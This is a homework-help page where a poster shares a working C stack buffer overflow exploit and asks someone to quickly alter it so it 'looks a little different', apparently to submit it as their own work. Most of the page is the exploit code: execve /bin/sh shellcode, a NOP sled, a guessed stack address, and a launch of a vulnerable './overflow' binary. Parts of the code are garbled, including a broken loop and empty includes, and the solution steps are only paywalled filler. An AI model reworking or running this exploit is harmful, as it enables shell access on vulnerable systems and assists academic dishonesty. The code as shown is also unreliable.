Question
NEED HELP FAST.THIS PROGRAM IS WORKING I JUST NEED SOMEONE TO CHANGE THIS UP FAST AND MAKE IT LOOK A LITTLE DIFFERENT BUFFER OVERFLOW /*
NEED HELP FAST.THIS PROGRAM IS WORKING
I JUST NEED SOMEONE TO CHANGE THIS UP FAST AND MAKE IT LOOK A LITTLE DIFFERENT
BUFFER OVERFLOW
/* Header Declaration for function used */ #include #include #include #include
#define DEFAULT_OFFSET 1564 #define DEFAULT_BUFFER_SIZE 600 #define NOP 0x90 /* Shell code here*/ char code[]= "\x31\xc0" /* xorl %eax,%eax */ "\x50" /* pushl %eax */ "\x68""//sh" /* pushl $0x68732f2f */ "\x68""/bin" /* pushl $0x6e69622f */ "\x89\xe3" /* movl %esp,%ebx */ "\x50" /* pushl %eax */ "\x53" /* pushl %ebx */ "\x89\xe1" /* movl %esp,%ecx */ "\x99" /* cdql */ "\xb0\x0b" /* movb $0x0b,%al */ "\xcd\x80" /* int $0x80 */ ;
/* finding the stack pointer */ unsigned long get_sp(void) { __asm__("movl %esp,%eax"); return 0; }
/* Main starts here*/ int main(int argc, char **argv) { /* Variable Declaration*/ char *ptr; char buffer[DEFAULT_BUFFER_SIZE]; long addr; ptr = buffer;
/* get stack pointer address and copy stack pointer- offset into addr */ addr = get_sp() - DEFAULT_OFFSET; printf("Using address: 0x%lx ", addr);
/* copy the NOP in buffer using ptr */ for (int i = 0; i buffer[i] = NOP;
/* copy the shell code in buff using ptr */ ptr = buffer + ((DEFAULT_BUFFER_SIZE/2) - (strlen(code)/2)); for (int i = 0; i < strlen(code); i++) *(ptr++) = code[i];
/* terminate the string with null*/ buffer[DEFAULT_BUFFER_SIZE - 1] = '\0';
/* copy string into buffer*/ memcpy(buffer,"OVERFLOW=",9); /* set env variable*/ putenv(buffer); system("/bin/bash"); sleep(1); system("./overflow $OVERFLOW"); return 0; }
Step by Step Solution
There are 3 Steps involved in it
Step: 1
Get Instant Access to Expert-Tailored Solutions
See step-by-step solutions with expert insights and AI powered tools for academic success
Step: 2
Step: 3
Ace Your Homework with AI
Get the answers you need in no time with our AI-driven, step-by-step assistance
Get Started